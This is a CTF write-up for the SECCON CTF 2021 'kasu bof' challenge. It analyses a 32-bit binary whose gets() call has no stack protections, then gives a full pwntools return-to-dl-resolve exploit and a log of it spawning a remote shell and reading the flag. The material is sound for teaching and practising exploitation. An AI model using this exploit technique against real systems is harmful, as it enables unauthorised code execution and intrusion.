Tags: bof pwn ret2dlresolve
Rating:
# SECCON CTF 2021
## kasu bof
> 112
>
> Do you understand return-to-dl-resolve attack on 32-bit?
>
> `nc hiyoko.quals.seccon.jp 9001`
>
> Author: ptr-yudai
>
> [`kasu_bof.tar.gz`](kasu_bof.tar.gz)
Tags: _pwn_ _x86_ _bof_ _remote-shell_ _ret2dlresolve_
## Summary
LOL, this is the first time I read the challenge description, but yes, this an easy 32-bit _return-to-dl-resolve_ challenge.
> I'm not going to cover all the internals or details of ret2dlresolve (in this write up, I'm working on a future article), however here are two good reads:
>
> [https://syst3mfailure.io/ret2dl_resolve](https://syst3mfailure.io/ret2dl_resolve)
> [https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62](https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62)
>
> The challenge author also posted his [solution](solver.py) to the SECCON CTF 2021 Discord in #pwn. I'm unaware of any external link, so I've included as part of this writeup. This is a very good resource to follow if you want to understand how to roll-your-own.
## Analysis
### Checksec
```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
At least three conditions must be met for _ret2dlresolve_, No PIE (or a base process leak), No canary (or a canary leak, or some other way to write down stack), and Partial RELRO. We're all clear here.
### Decompile with Ghidra
```c
undefined4 main(void)
{
char local_88 [128];
undefined4 local_8;
local_8 = 0;
gets(local_88);
return 0;
}
```
`gets` and the lack of mitigations above = easy shell with _ret2dlresolve_.
*Are there other methods?*
Perhaps, however there's not a lot to work with. No leaks, and nothing else in the GOT. IOW, we're blind, no output until we get a shell.
## Exploit
```python
#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./kasu')
dl = Ret2dlresolvePayload(binary, symbol='system', args=['/bin/sh'])
rop = ROP(binary)
rop.gets(dl.data_addr,len(dl.payload))
rop.ret2dlresolve(dl)
if args.REMOTE:
p = remote('hiyoko.quals.seccon.jp', 9001)
else:
p = process(binary.path)
payload = b''
payload += 0x88 * b'A'
payload += rop.chain()
payload += b'\n'
payload += dl.payload
p.sendline(payload)
p.interactive()
```
Almost straight from: [https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html).
All we needed to figure out is the `0x88` (end of the stack frame where the return address is), and we get this for free from Ghidra (.e.g `local_88`).
```bash
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/seccon2021/kasu/kasu'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Loaded 11 cached gadgets for './kasu'
[+] Opening connection to hiyoko.quals.seccon.jp on port 9001: Done
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ cat flag*
SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}
```